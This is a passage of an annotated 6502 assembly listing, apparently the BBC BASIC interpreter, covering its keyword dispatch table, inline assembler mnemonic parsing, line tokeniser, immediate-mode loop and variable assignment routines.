.byte LABCB / 256 ; &AF - PI
.byte LAB41 / 256 ; &B0 - POINT(
.byte LAB6D / 256 ; &B1 - POS
.byte LABB1 / 256 ; &B2 - RAD
.byte LAF49 / 256 ; &B3 - RND
.byte LAB88 / 256 ; &B4 - SGN
.byte LA998 / 256 ; &B5 - SIN
.byte LA7B4 / 256 ; &B6 - SQR
.byte LA6BE / 256 ; &B7 - TAN
.byte LAEDC / 256 ; &B8 - TO
.byte LACC4 / 256 ; &B9 - TRUE
.byte LABD2 / 256 ; &BA - USR
.byte LAC2F / 256 ; &BB - VAL
.byte LAB76 / 256 ; &BC - VPOS
.byte LB3BD / 256 ; &BD - CHR$
.byte LAFBF / 256 ; &BE - GET$
.byte LB026 / 256 ; &BF - INKEY$
.byte LAFCC / 256 ; &C0 - LEFT$(
.byte LB039 / 256 ; &C1 - MID$(
.byte LAFEE / 256 ; &C2 - RIGHT$(
.byte LB094 / 256 ; &C3 - STR$(
.byte LB0C2 / 256 ; &C4 - STRING$(
.byte LACB8 / 256 ; &C5 - EOF
.byte L90AC / 256 ; &C6 - AUTO
.byte L8F31 / 256 ; &C7 - DELETE
.byte LBF24 / 256 ; &C8 - LOAD
.byte LB59C / 256 ; &C9 - LIST
.byte L8ADA / 256 ; &CA - NEW
.byte L8AB6 / 256 ; &CB - OLD
.byte L8FA3 / 256 ; &CC - RENUMBER
.byte LBEF3 / 256 ; &CD - SAVE
.byte L982A / 256 ; &CE - unused
.byte LBF30 / 256 ; &CF - PTR
.byte L9283 / 256 ; &D0 - PAGE
.byte L92C9 / 256 ; &D1 - TIME
.byte L926F / 256 ; &D2 - LOMEM
.byte L925D / 256 ; &D3 - HIMEM
.byte LB44C / 256 ; &D4 - SOUND
.byte LBF58 / 256 ; &D5 - BPUT
.byte L8ED2 / 256 ; &D6 - CALL
.byte LBF2A / 256 ; &D7 - CHAIN
.byte L928D / 256 ; &D8 - CLEAR
.byte LBF99 / 256 ; &D9 - CLOSE
.byte L8EBD / 256 ; &DA - CLG
.byte L8EC4 / 256 ; &DB - CLS
.byte L8B7D / 256 ; &DC - DATA
.byte L8B7D / 256 ; &DD - DEF
.byte L912F / 256 ; &DE - DIM
.byte L93E8 / 256 ; &DF - DRAW
.byte L8AC8 / 256 ; &E0 - END
.byte L9356 / 256 ; &E1 - ENDPROC
.byte LB472 / 256 ; &E2 - ENVELOPE
.byte LB7C4 / 256 ; &E3 - FOR
.byte LB888 / 256 ; &E4 - GOSUB
.byte LB8CC / 256 ; &E5 - GOTO
.byte L937A / 256 ; &E6 - GCOL
.byte L98C2 / 256 ; &E7 - IF
.byte LBA44 / 256 ; &E8 - INPUT
.byte L8BE4 / 256 ; &E9 - LET
.byte L9323 / 256 ; &EA - LOCAL
.byte L939A / 256 ; &EB - MODE
.byte L93E4 / 256 ; &EC - MOVE
.byte LB695 / 256 ; &ED - NEXT
.byte LB915 / 256 ; &EE - ON
.byte L942F / 256 ; &EF - VDU
.byte L93F1 / 256 ; &F0 - PLOT
.byte L8D9A / 256 ; &F1 - PRINT
.byte L9304 / 256 ; &F2 - PROC
.byte LBB1F / 256 ; &F3 - READ
.byte L8B7D / 256 ; &F4 - REM
.byte LBBE4 / 256 ; &F5 - REPEAT
.byte LBFE4 / 256 ; &F6 - REPORT
.byte LBAE6 / 256 ; &F7 - RESTORE
.byte LB8B6 / 256 ; &F8 - RETURN
.byte LBD11 / 256 ; &F9 - RUN
.byte L8AD0 / 256 ; &FA - STOP
.byte L938E / 256 ; &FB - COLOUR
.byte L9295 / 256 ; &FC - TRACE
.byte LBBB1 / 256 ; &FD - UNTIL
.byte LB4A0 / 256 ; &FE - WIDTH
.byte LBEC2 / 256 ; &FF - OSCLI
; ASSEMBLER
; =========
;
; Packed mnemonic table, low bytes
; --------------------------------
L8451:
MNEML 'B','R','K'
MNEML 'C','L','C'
MNEML 'C','L','D'
MNEML 'C','L','I'
MNEML 'C','L','V'
MNEML 'D','E','X'
MNEML 'D','E','Y'
MNEML 'I','N','X'
MNEML 'I','N','Y'
MNEML 'N','O','P'
MNEML 'P','H','A'
MNEML 'P','H','P'
MNEML 'P','L','A'
MNEML 'P','L','P'
MNEML 'R','T','I'
MNEML 'R','T','S'
MNEML 'S','E','C'
MNEML 'S','E','D'
MNEML 'S','E','I'
MNEML 'T','A','X'
MNEML 'T','A','Y'
MNEML 'T','S','X'
MNEML 'T','X','A'
MNEML 'T','X','S'
MNEML 'T','Y','A'
MNEML 'B','C','C'
MNEML 'B','C','S'
MNEML 'B','E','Q'
MNEML 'B','M','I'
MNEML 'B','N','E'
MNEML 'B','P','L'
MNEML 'B','V','C'
MNEML 'B','V','S'
MNEML 'A','N','D'
MNEML 'E','O','R'
MNEML 'O','R','A'
MNEML 'A','D','C'
MNEML 'C','M','P'
MNEML 'L','D','A'
MNEML 'S','B','C'
MNEML 'A','S','L'
MNEML 'L','S','R'
MNEML 'R','O','L'
MNEML 'R','O','R'
MNEML 'D','E','C'
MNEML 'I','N','C'
MNEML 'C','P','X'
MNEML 'C','P','Y'
MNEML 'B','I','T'
MNEML 'J','M','P'
MNEML 'J','S','R'
MNEML 'L','D','X'
MNEML 'L','D','Y'
MNEML 'S','T','A'
MNEML 'S','T','X'
MNEML 'S','T','Y'
MNEML 'O','P','T'
MNEML 'E','Q','U'
; Packed mnemonic table, high bytes
; ---------------------------------
L848B:
MNEMH 'B','R','K'
MNEMH 'C','L','C'
MNEMH 'C','L','D'
MNEMH 'C','L','I'
MNEMH 'C','L','V'
MNEMH 'D','E','X'
MNEMH 'D','E','Y'
MNEMH 'I','N','X'
MNEMH 'I','N','Y'
MNEMH 'N','O','P'
MNEMH 'P','H','A'
MNEMH 'P','H','P'
MNEMH 'P','L','A'
MNEMH 'P','L','P'
MNEMH 'R','T','I'
MNEMH 'R','T','S'
MNEMH 'S','E','C'
MNEMH 'S','E','D'
MNEMH 'S','E','I'
MNEMH 'T','A','X'
MNEMH 'T','A','Y'
MNEMH 'T','S','X'
MNEMH 'T','X','A'
MNEMH 'T','X','S'
MNEMH 'T','Y','A'
MNEMH 'B','C','C'
MNEMH 'B','C','S'
MNEMH 'B','E','Q'
MNEMH 'B','M','I'
MNEMH 'B','N','E'
MNEMH 'B','P','L'
MNEMH 'B','V','C'
MNEMH 'B','V','S'
MNEMH 'A','N','D'
MNEMH 'E','O','R'
MNEMH 'O','R','A'
MNEMH 'A','D','C'
MNEMH 'C','M','P'
MNEMH 'L','D','A'
MNEMH 'S','B','C'
MNEMH 'A','S','L'
MNEMH 'L','S','R'
MNEMH 'R','O','L'
MNEMH 'R','O','R'
MNEMH 'D','E','C'
MNEMH 'I','N','C'
MNEMH 'C','P','X'
MNEMH 'C','P','Y'
MNEMH 'B','I','T'
MNEMH 'J','M','P'
MNEMH 'J','S','R'
MNEMH 'L','D','X'
MNEMH 'L','D','Y'
MNEMH 'S','T','A'
MNEMH 'S','T','X'
MNEMH 'S','T','Y'
MNEMH 'O','P','T'
MNEMH 'E','Q','U'
; Opcode base table
; -----------------
L84C5:
; No arguments
; ------------
BRK
CLC
CLD
CLI
CLV
DEX
DEY
INX
INY
NOP
PHA
PHP
PLA
PLP
RTI
RTS
SEC
SED
SEI
TAX
TAY
TSX
TXA
TXS
TYA
; Branches
; --------
.byte $90, $B0, $F0, $30 ; BMI, BCC, BCS, BEQ
.byte $D0, $10, $50, $70 ; BNE, BPL, BVC, BVS
; Arithmetic
; ----------
.byte $21, $41, $01, $61 ; AND, EOR, ORA, ADC
.byte $C1, $A1, $E1, $06 ; CMP, LDA, SBC, ASL
.byte $46, $26, $66, $C6 ; LSR, ROL, ROR, DEC
.byte $E6, $E0, $C0, $20 ; INC, CPX, CPY, BIT
; Others
; ------
.byte $4C, $20, $A2, $A0 ; JMP, JSR, LDX, LDY
.byte $81, $86, $84 ; STA, STX, STY
; Exit Assembler
; --------------
L84FD:
lda #$FF ; Set OPT to 'BASIC'
L84FF:
sta $28 ; Set OPT, return to execution loop
jmp L8BA3
L8504:
lda #$03 ; Set OPT 3, default on entry to '['
sta $28
L8508:
jsr L8A97 ; Skip spaces
cmp #']' ; ']' - exit assembler
beq L84FD
jsr L986D
L8512:
dec $0A
jsr L85BA
dec $0A
lda $28
lsr a
bcc L857E
lda $1E
adc #$04
sta $3F
lda $38
jsr LB545
lda $37
jsr LB562
ldx #$FC
ldy $39
bpl L8536
ldy $36
L8536:
sty $38
beq L8556
ldy #$00
L853C:
inx
bne L854C
jsr LBC25 ; Print newline
ldx $3F
L8544:
jsr LB565 ; Print a space
dex ; Loop to print spaces
bne L8544
ldx #$FD
L854C:
lda ($3A),y
jsr LB562
iny
dec $38
bne L853C
L8556:
inx
bpl L8565
jsr LB565
jsr LB558
jsr LB558
jmp L8556
L8565:
ldy #$00
L8567:
lda ($0B),y
cmp #$3A
beq L8577
cmp #$0D
beq L857B
L8571:
jsr LB50E ; Print character or token
iny
bne L8567
L8577:
cpy $0A
bcc L8571
L857B:
jsr LBC25 ; Print newline
L857E:
ldy $0A
dey
L8581:
iny
lda ($0B),y
cmp #$3A
beq L858C
cmp #$0D
bne L8581
L858C:
jsr L9859
dey
lda ($0B),y
cmp #$3A
beq L85A2
lda $0C
cmp #$07
bne L859F
jmp L8AF6
L859F:
jsr L9890
L85A2:
jmp L8508
L85A5:
jsr L9582
beq L8604
bcs L8604
jsr LBD94
jsr LAE3A ; Find P%
sta $27
jsr LB4B4
jsr L8827
L85BA:
ldx #$03 ; Prepare to fetch three characters
jsr L8A97 ; Skip spaces
ldy #$00
sty $3D
cmp #':' ; End of statement
beq L862B
cmp #$0D ; End of line
beq L862B
cmp #'\' ; Comment
beq L862B
cmp #'.' ; Label
beq L85A5
dec $0A
L85D5:
ldy $0A ; Get current character, inc. index
inc $0A
lda ($0B),y ; Token, check for tokenised AND, EOR, OR
bmi L8607
cmp #$20 ; Space, step past
beq L85F1
ldy #$05
asl a ; Compact first character
asl a
asl a
L85E6:
asl a
rol $3D
rol $3E
dey
bne L85E6
dex ; Loop to fetch three characters
bne L85D5
; The current opcode has now been compressed into two bytes
; ---------------------------------------------------------
L85F1:
ldx #$3A ; Point to end of opcode lookup table
lda $3D ; Get low byte of compacted mnemonic
L85F5:
cmp L8451-1,x ; Low half doesn't match
bne L8601
ldy L848B-1,x ; Check high half
cpy $3E ; Mnemonic matches
beq L8620
L8601:
dex ; Loop through opcode lookup table
bne L85F5
L8604:
jmp L982A ; Mnemonic not matched, Mistake
L8607:
ldx #$22 ; opcode number for 'AND'
cmp #tknAND ; Tokenised 'AND'
beq L8620
inx ; opcode number for 'EOR'
cmp #tknEOR ; Tokenized 'EOR'
beq L8620
inx ; opcode number for 'ORA'
cmp #tknOR ; Not tokenized 'OR'
bne L8604
inc $0A ; Get next character
iny
lda ($0B),y
cmp #'A' ; Ensure 'OR' followed by 'A'
bne L8604
; Opcode found
; ------------
L8620:
lda L84C5-1,x ; Get base opcode
sta $29
ldy #$01 ; Y=1 for one byte
cpx #$1A ; Opcode $1A+ have arguments
bcs L8673
L862B:
lda $0440 ; Get P% low byte
sta $37
sty $39
ldx $28 ; Offset assembly (opt>3)
cpx #$04
ldx $0441 ; Get P% high byte
stx $38
bcc L8643 ; No offset assembly
lda $043C
ldx $043D ; Get O%
L8643:
sta $3A ; Store destination pointer
stx $3B
tya
beq L8672
bpl L8650
ldy $36
beq L8672
L8650:
dey ; Get opcode byte
lda $0029,y
bit $39 ; Opcode - jump to store it
bpl L865B
lda $0600,y ; Get EQU byte
L865B:
sta ($3A),y ; Store byte
inc $0440 ; Increment P%
bne L8665
inc $0441
L8665:
bcc L866F
inc $043C ; Increment O%
bne L866F
inc $043D
L866F:
tya
bne L8650
L8672:
rts
L8673:
cpx #$22
bcs L86B7
jsr L8821
clc
lda $2A
sbc $0440
tay
lda $2B
sbc $0441
cpy #$01
dey
sbc #$00
beq L86B2
cmp #$FF
beq L86AD
L8691:
lda $28 ; Get OPT
lsr a
beq L86A5 ; If OPT.b0=0, ignore error
brk
.byte $01,"Out of range"
brk
L86A5:
tay
L86A6:
sty $2A
L86A8:
ldy #$02
jmp L862B
L86AD:
tya
bmi L86A6
bpl L8691
L86B2:
tya
bpl L86A6
bmi L8691
L86B7:
cpx #$29
bcs L86D3
jsr L8A97 ; Skip spaces
cmp #'#'
bne L86DA
jsr L882F
L86C5:
jsr L8821
L86C8:
lda $2B
beq L86A8
L86CC:
brk
.byte $02,"Byte"
brk
; Parse (zp),Y addressing mode
; ----------------------------
L86D3:
cpx #$36
bne L873F
jsr L8A97 ; Skip spaces
L86DA:
cmp #'('
bne L8715
jsr L8821
jsr L8A97 ; Skip spaces
cmp #')'
bne L86FB
jsr L8A97 ; Skip spaces
cmp #',' ; No comma, jump to Index error
bne L870D
jsr L882C
jsr L8A97 ; Skip spaces
cmp #'Y' ; (z),Y missing Y, jump to Index error
bne L870D
beq L86C8
; Parse (zp,X) addressing mode
; ----------------------------
L86FB:
cmp #',' ; No comma, jump to Index error
bne L870D
jsr L8A97 ; Skip spaces
cmp #'X' ; zp,X missing X, jump to Index error
bne L870D
jsr L8A97
cmp #')' ; zp,X) - jump to process
beq L86C8
L870D:
brk
.byte $03,"Index"
brk
L8715:
dec $0A
jsr L8821
jsr L8A97 ; Skip spaces
cmp #',' ; No comma - jump to process as abs,X
bne L8735
jsr L882C
jsr L8A97 ; Skip spaces
cmp #'X' ; abs,X - jump to process
beq L8735
cmp #'Y' ; Not abs,Y - jump to Index error
bne L870D
L872F:
jsr L882F
jmp L879A
; abs and abs,X
; -------------
L8735:
jsr L8832
L8738:
lda $2B
bne L872F
jmp L86A8
L873F:
cpx #$2F
bcs L876E
cpx #$2D
bcs L8750
jsr L8A97 ; Skip spaces
cmp #'A' ; ins A -
beq L8767
dec $0A
L8750:
jsr L8821
jsr L8A97 ; Skip spaces
cmp #','
bne L8738 ; No comma, jump to ...
jsr L882C
jsr L8A97 ; Skip spaces
cmp #'X'
beq L8738 ; Jump with address,X
jmp L870D ; Otherwise, jump to Index error
L8767:
jsr L8832
ldy #$01
bne L879C
L876E:
cpx #$32
bcs L8788
cpx #$31
beq L8782
jsr L8A97 ; Skip spaces
cmp #'#'
bne L8780 ; Not #, jump with address
jmp L86C5
L8780:
dec $0A
L8782:
jsr L8821
jmp L8735
L8788:
cpx #$33
beq L8797
bcs L87B2
jsr L8A97 ; Skip spaces
cmp #'('
beq L879F ; Jump With (... addressing mode
dec $0A
L8797:
jsr L8821
L879A:
ldy #$03
L879C:
jmp L862B
L879F:
jsr L882C
jsr L882C
jsr L8821
jsr L8A97 ; Skip spaces
cmp #')'
beq L879A
jmp L870D ; No ) - jump to Index error
L87B2:
cpx #$39
bcs L8813
lda $3D
eor #$01
and #$1F
pha
cpx #$37
bcs L87F0
jsr L8A97 ; Skip spaces
cmp #'#'
bne L87CC
pla
jmp L86C5
L87CC:
dec $0A
jsr L8821
pla
sta $37
jsr L8A97
cmp #','
beq L87DE
jmp L8735
L87DE:
jsr L8A97
and #$1F
cmp $37
bne L87ED
jsr L882C
jmp L8735
L87ED:
jmp L870D ; Jump to Index error
L87F0:
jsr L8821
pla
sta $37
jsr L8A97
cmp #','
bne L8810
jsr L8A97
and #$1F
cmp $37
bne L87ED
jsr L882C
lda $2B
beq L8810 ; High byte=0, continue
jmp L86CC ; value>255, jump to Byte error
L8810:
jmp L8738
L8813:
bne L883A
jsr L8821
lda $2A
sta $28
ldy #$00
jmp L862B
L8821:
jsr L9B1D
jsr L92F0
L8827:
ldy $1B
sty $0A
rts
L882C:
jsr L882F
L882F:
jsr L8832
L8832:
lda $29
clc
adc #$04
sta $29
rts
L883A:
ldx #$01 ; Prepare for one byte
ldy $0A
inc $0A ; Increment address
lda ($0B),y ; Get next character
cmp #'B'
beq L8858 ; EQUB
inx ; Prepare for two bytes
cmp #'W'
beq L8858 ; EQUW
ldx #$04 ; Prepare for four bytes
cmp #'D'
beq L8858 ; EQUD
cmp #'S'
beq L886A ; EQUS
jmp L982A ; Syntax error
L8858:
txa
pha
jsr L8821
ldx #$29
jsr LBE44
pla
tay
L8864:
jmp L862B
L8867:
jmp L8C0E
L886A:
lda $28
pha
jsr L9B1D
bne L8867
pla
sta $28
jsr L8827
ldy #$FF
bne L8864
L887C:
pha
clc
tya
adc $37
sta $39
ldy #$00
tya
adc $38
sta $3A
pla
sta ($37),y
L888D:
iny
lda ($39),y
sta ($37),y
cmp #$0D
bne L888D
rts
L8897:
and #$0F
sta $3D
sty $3E
L889D:
iny
lda ($37),y
cmp #'9'+1
bcs L88DA
cmp #'0'
bcc L88DA
and #$0F
pha
ldx $3E
lda $3D
asl a
rol $3E
bmi L88D5
asl a
rol $3E
bmi L88D5
adc $3D
sta $3D
txa
adc $3E
asl $3D
rol a
bmi L88D5
bcs L88D5
sta $3E
pla
adc $3D
sta $3D
bcc L889D
inc $3E
bpl L889D
pha
L88D5:
pla
ldy #$00
sec
rts
L88DA:
dey
lda #$8D
jsr L887C
lda $37
adc #$02
sta $39
lda $38
adc #$00
sta $3A
L88EC:
lda ($37),y
sta ($39),y
dey
bne L88EC
ldy #$03
L88F5:
lda $3E
ora #$40
sta ($37),y
dey
lda $3D
and #$3F
ora #$40
sta ($37),y
dey
lda $3D
and #$C0
sta $3D
lda $3E
and #$C0
lsr a
lsr a
ora $3D
lsr a
lsr a
eor #$54
sta ($37),y
jsr L8944 ; Increment $37/8
jsr L8944 ; Increment $37/8
jsr L8944 ; Increment $37/8
ldy #$00
L8924:
clc
rts
L8926:
cmp #$7B
bcs L8924
cmp #$5F
bcs L893C
cmp #$5B
bcs L8924
cmp #$41
bcs L893C
L8936:
cmp #$3A
bcs L8924
cmp #$30
L893C:
rts
L893D:
cmp #$2E
bne L8936
rts
L8942:
lda ($37),y
L8944:
inc $37
bne L894A
inc $38
L894A:
rts
L894B:
jsr L8944 ; Increment $37/8
lda ($37),y
rts
; Tokenise line at &37/8
; ======================
L8951:
ldy #$00
sty $3B ; Set tokenizer to left-hand-side
L8955:
sty $3C
L8957:
lda ($37),y ; Get current character
cmp #$0D
beq L894A ; Exit with <cr>
cmp #$20
bne L8966 ; Skip <spc>
L8961:
jsr L8944
bne L8957 ; Increment $37/8 and check next character
L8966:
cmp #'&'
bne L897C ; Jump if not '&'
L896A:
jsr L894B ; Increment $37/8 and get next character
jsr L8936
bcs L896A ; Jump if numeric character
cmp #'A'
bcc L8957 ; Loop back if <'A'
cmp #'F'+1
bcc L896A ; Step to next if 'A'..'F'
bcs L8957 ; Loop back for next character
L897C:
cmp #$22
bne L898C
L8980:
jsr L894B ; Increment $37/8 and get next character
cmp #$22
beq L8961 ; Not quote, jump to process next character
cmp #$0D
bne L8980
rts
L898C:
cmp #':'
bne L8996
sty $3B
sty $3C
beq L8961
L8996:
cmp #','
beq L8961
cmp #'*'
bne L89A3
lda $3B
bne L89E3
rts
L89A3:
cmp #'.'
beq L89B5
jsr L8936
bcc L89DF
ldx $3C
beq L89B5
jsr L8897
bcc L89E9
L89B5:
lda ($37),y
jsr L893D
bcc L89C2
jsr L8944
jmp L89B5
L89C2:
ldx #$FF
stx $3B
sty $3C
jmp L8957
L89CB:
jsr L8926
bcc L89E3
L89D0:
ldy #$00
L89D2:
lda ($37),y
jsr L8926
bcc L89C2
jsr L8944
jmp L89D2
L89DF:
cmp #'A'
bcs L89EC ; Jump if letter
L89E3:
ldx #$FF
stx $3B
sty $3C
L89E9:
jmp L8961
L89EC:
cmp #'X'
bcs L89CB ; Jump if >='X', nothing starts with X,Y,Z
ldx #L8071 & 255 ; Point to token table
stx $39
ldx #L8071 / 256
stx $3A
L89F8:
cmp ($39),y
bcc L89D2
bne L8A0D
L89FE:
iny
lda ($39),y
bmi L8A37
cmp ($37),y
beq L89FE
lda ($37),y
cmp #'.'
beq L8A18
L8A0D:
iny
lda ($39),y
bpl L8A0D
cmp #$FE
bne L8A25
bcs L89D0
L8A18:
iny
L8A19:
lda ($39),y
bmi L8A37
inc $39
bne L8A19
inc $3A
bne L8A19
L8A25:
sec
iny
tya
adc $39
sta $39
bcc L8A30
inc $3A
L8A30:
ldy #$00
lda ($37),y
jmp L89F8
L8A37:
tax
iny
lda ($39),y
sta $3D ; Get token flag
dey
lsr a
bcc L8A48
lda ($37),y
jsr L8926
bcs L89D0
L8A48:
txa
bit $3D
bvc L8A54
ldx $3B
bne L8A54
clc ; Superfluous as all paths to here have CLC
adc #$40
L8A54:
dey
jsr L887C
ldy #$00
ldx #$FF
lda $3D
lsr a
lsr a
bcc L8A66
stx $3B
sty $3C
L8A66:
lsr a
bcc L8A6D
sty $3B
sty $3C
L8A6D:
lsr a
bcc L8A81
pha
iny
L8A72:
lda ($37),y
jsr L8926
bcc L8A7F
jsr L8944
jmp L8A72
L8A7F:
dey
pla
L8A81:
lsr a
bcc L8A86
stx $3C
L8A86:
lsr a
bcs L8A96
jmp L8961
; Skip Spaces
; ===========
L8A8C:
ldy $1B ; Get offset, increment it
inc $1B
lda ($19),y ; Get current character
cmp #' '
beq L8A8C ; Loop until not space
L8A96:
rts
; Skip spaces at PtrA
; -------------------
L8A97:
ldy $0A
inc $0A
lda ($0B),y
cmp #$20
beq L8A97
L8AA1:
rts
L8AA2:
brk
.byte $05
.byte "Missing ,"
brk
L8AAE:
jsr L8A8C
cmp #','
bne L8AA2
rts
; OLD - Attempt to restore program
; ================================
L8AB6:
jsr L9857 ; Check end of statement
lda $18
sta $38 ; Point $37/8 to PAGE
lda #$00
sta $37
sta ($37),y ; Remove end marker
jsr LBE6F ; Check program and set TOP
bne L8AF3 ; Jump to clear heap and go to immediate mode
; END - Return to immediate mode
; ==============================
L8AC8:
jsr L9857 ; Check end of statement
jsr LBE6F ; Check program and set TOP
bne L8AF6 ; Jump to immediate mode, keeping variables, etc
; STOP - Abort program with an error
; ==================================
L8AD0:
jsr L9857 ; Check end of statement
brk
.byte $00
.byte "STOP"
brk
; NEW - Clear program, enter immediate mode
; =========================================
L8ADA:
jsr L9857 ; Check end if statement
; Start up with NEW program
; -------------------------
L8ADD:
lda #$0D ; TOP hi=PAGE hi
ldy $18
sty $13
ldy #$00 ; TOP=PAGE, TRACE OFF
sty $12
sty $20
sta ($12),y ; ?(PAGE+0)=<cr>
lda #$FF ; ?(PAGE+1)=$FF
iny
sta ($12),y
iny ; TOP=PAGE+2
sty $12
L8AF3:
jsr LBD20 ; Clear variables, heap, stack
; IMMEDIATE LOOP
; ==============
L8AF6:
ldy #$07 ; PtrA=&0700 - input buffer
sty $0C
ldy #$00
sty $0B
lda #LB433 & 255 ; ON ERROR OFF
sta $16
lda #LB433 / 256
sta $17
lda #'>' ; Print '>' prompt, read input to buffer at PtrA
jsr LBC02
; Execute line at program pointer in &0B/C
; ----------------------------------------
L8B0B:
lda #LB433 & 255 ; ON ERROR OFF again
sta $16
lda #LB433 / 256
sta $17
ldx #$FF ; OPT=$FF - not within assembler
stx $28
stx $3C ; Clear machine stack
txs
jsr LBD3A ; Clear DATA and stacks
tay
lda $0B ; Point $37/8 to program line
sta $37
lda $0C
sta $38
sty $3B
sty $0A
jsr L8957
jsr L97DF ; Tokenise, jump forward if no line number
bcc L8B38
jsr LBC8D ; Insert into program, jump back to immediate loop
jmp L8AF3
; Command entered at immediate prompt
; -----------------------------------
L8B38:
jsr L8A97 ; Skip spaces at PtrA
cmp #$C6 ; If command token, jump to execute command
bcs L8BB1
bcc L8BBF ; Not command token, try variable assignment
L8B41:
jmp L8AF6 ; Jump back to immediate mode
; [ - enter assembler
; ===================
L8B44:
jmp L8504 ; Jump to assembler
; =<value> - return from FN
; =========================
; Stack needs to contain these items,
; ret_lo, ret_hi, PtrB_hi, PtrB_lo, PtrB_off, numparams, PtrA_hi, PtrA_lo, PtrA_off, tknFN
L8B47:
tsx ; If stack is empty, jump to give error
cpx #$FC
bcs L8B59
lda $01FF ; If pushed token<>'FN', give error
cmp #tknFN
bne L8B59
jsr L9B1D ; Evaluate expression
jmp L984C ; Check for end of statement and return to pop from function
L8B59:
brk
.byte $07,"No ",tknFN
brk
; Check for =, *, [ commands
; ==========================
L8B60:
ldy $0A ; Step program pointer back and fetch char
dey
lda ($0B),y
cmp #'=' ; Jump for '=', return from FN
beq L8B47
cmp #'*' ; Jump for '*', embedded *command
beq L8B73
cmp #'[' ; Jump for '[', start assembler
beq L8B44
bne L8B96 ; Otherwise, see if end of statement
; Embedded *command
; =================
L8B73:
jsr L986D ; Update PtrA to current address
ldx $0B
ldy $0C
jsr OS_CLI ; Pass command at ptrA to OSCLI
; DATA, DEF, REM, ELSE
; ====================
; Skip to end of line
; -------------------
L8B7D:
lda #$0D ; Get program pointer
ldy $0A
dey
L8B82:
iny ; Loop until <cr> found
cmp ($0B),y
bne L8B82
L8B87:
cmp #tknELSE ; If 'ELSE', jump to skip to end of line
beq L8B7D
lda $0C ; Program in command buffer, jump back to immediate loop
cmp #$0700 /256
beq L8B41
jsr L9890 ; Check for end of program, step past <cr>
bne L8BA3
L8B96:
dec $0A
L8B98:
jsr L9857
; Main execution loop
; -------------------
L8B9B:
ldy #$00 ; Get current character
lda ($0B),y
cmp #':' ; Not <colon>, check for ELSE
bne L8B87
L8BA3:
ldy $0A ; Get program pointer, increment for next time
inc $0A
lda ($0B),y ; Get current character
cmp #$20
beq L8BA3
cmp #$CF ; Not program command, jump to try variable assignment
bcc L8BBF
; Dispatch function/command
; -------------------------
L8BB1:
tax ; Index into dispatch table
lda L836D-$8E,x ; Get routine address from table
sta $37
lda L83DF-$8E,x
sta $38
jmp ($0037) ; Jump to routine
; Not a command byte, try variable assignment, or =, *, [
; -------------------------------------------------------
L8BBF:
ldx $0B ; Copy PtrA to PtrB
stx $19
ldx $0C
stx $1A
sty $1B ; Check if variable or indirection
jsr L95DD
bne L8BE9 ; NE - jump for existing variable or indirection assignment
bcs L8B60 ; CS - not variable assignment, try =, *, [ commands
; Variable not found, create a new one
; ------------------------------------
stx $1B ; Check for and step past '='
jsr L9841
jsr L94FC ; Create new variable
ldx #$05 ; X=&05 = float
cpx $2C ; Jump if dest. not a float
bne L8BDF
inx ; X=&06
L8BDF:
jsr L9531
dec $0A
; LET variable = expression
; =========================
L8BE4:
jsr L9582
beq L8C0B
L8BE9:
bcc L8BFB
jsr LBD94 ; Stack integer (address of data)
jsr L9813 ; Check for end of statement
lda $27 ; Get evaluation type
bne L8C0E ; If not string, error
jsr L8C1E ; Assign the string
jmp L8B9B ; Return to execution loop
L8BFB:
jsr LBD94 ; Stack integer (address of data)
jsr L9813 ; Check for end of statement
lda $27 ; Get evaluation type
beq L8C0E ; If not number, error
jsr LB4B4 ; Assign the number
jmp L8B9B ; Return to execution loop
L8C0B:
jmp L982A
L8C0E:
brk
.byte $06, "Type mismatch"
brk
L8C1E:
jsr LBDEA ; Unstack integer (address of data)
L8C21:
lda $2C
cmp #$80 ; Jump if absolute string $addr
beq L8CA2
ldy #$02
lda ($2A),y
cmp $36
bcs L8C84
lda $02
sta $2C
lda $03
sta $2D
lda $36
cmp #$08
bcc L8C43
adc #$07
bcc L8C43
lda #$FF
L8C43:
clc
pha
tax
lda ($2A),y
ldy #$00
adc ($2A),y
eor $02
bne L8C5F
iny
adc ($2A),y
eor $03
bne L8C5F
sta $2D
txa
iny
sec
sbc ($2A),y
tax
L8C5F:
txa
clc
adc $02
tay
lda $03
adc #$00
cpy $04
tax
sbc $05
bcs L8CB7
sty $02
stx $03
pla
ldy #$02
sta ($2A),y
dey
lda $2D
beq L8C84
sta ($2A),y
dey
lda $2C
sta ($2A),y
L8C84:
ldy #$03
lda $36
sta ($2A),y
beq L8CA1
dey
dey
lda ($2A),y
sta $2D
dey
lda ($2A),y
sta $2C
L8C97:
lda $0600,y
sta ($2C),y
iny
cpy $36
bne L8C97
L8CA1:
rts
L8CA2:
jsr LBEBA
cpy #$00
beq L8CB4
L8CA9:
lda $0600,y
sta ($2A),y
dey
bne L8CA9
lda $0600
L8CB4:
sta ($2A),y
rts
L8CB7:
brk
.byte $00, "No room"
brk
L8CC1:
lda $39
cmp #$80
beq L8CEE
bcc L8D03
ldy #$00
lda ($04),y
tax
beq L8CE5
lda ($37),y
sbc #$01
sta $39
iny
lda ($37),y
sbc #$00
sta $3A
L8CDD:
lda ($04),y
sta ($39),y
iny
dex
bne L8CDD
L8CE5:
lda ($04,x)
ldy #$03
L8CE9:
sta ($37),y
jmp LBDDC
L8CEE:
ldy #$00
lda ($04),y
tax
beq L8CFF
L8CF5:
iny
lda ($04),y
dey
sta ($37),y
iny
dex
bne L8CF5
L8CFF:
lda #$0D
bne L8CE9
L8D03:
ldy #$00
lda ($04),y
sta ($37),y
iny
cpy $39
bcs L8D26
lda ($04),y
sta ($37),y
iny
lda ($04),y
sta ($37),y
iny
lda ($04),y
sta ($37),y
iny
cpy $39
bcs L8D26
lda ($04),y
sta ($37),y
iny
L8D26:
tya
clc
jmp LBDE1
L8D2B:
dec $0A
jsr LBFA9
L8D30:
tya
pha
jsr L8A8C
cmp #$2C
bne L8D77
jsr L9B29
jsr LA385
pla
tay
lda $27
jsr OSBPUT
tax
beq L8D64
bmi L8D57
ldx #$03
L8D4D:
lda $2A,x
jsr OSBPUT
dex
bpl L8D4D
bmi L8D30
L8D57:
ldx #$04
L8D59:
lda $046C,x
jsr OSBPUT
dex
bpl L8D59
bmi L8D30
L8D64:
lda $36
jsr OSBPUT
tax
beq L8D30
L8D6C:
lda $05FF,x
jsr OSBPUT
dex
bne L8D6C
beq L8D30
L8D77:
pla
sty $0A
jmp L8B98
; End of PRINT statement
; ----------------------
L8D7D:
jsr LBC25 ; Output new line and set COUNT to zero
L8D80:
jmp L8B96 ; Check end of statement, return to execution loop
L8D83:
lda #$00 ; Set current field to zero, hex/dec flag to decimal
sta $14
sta $15
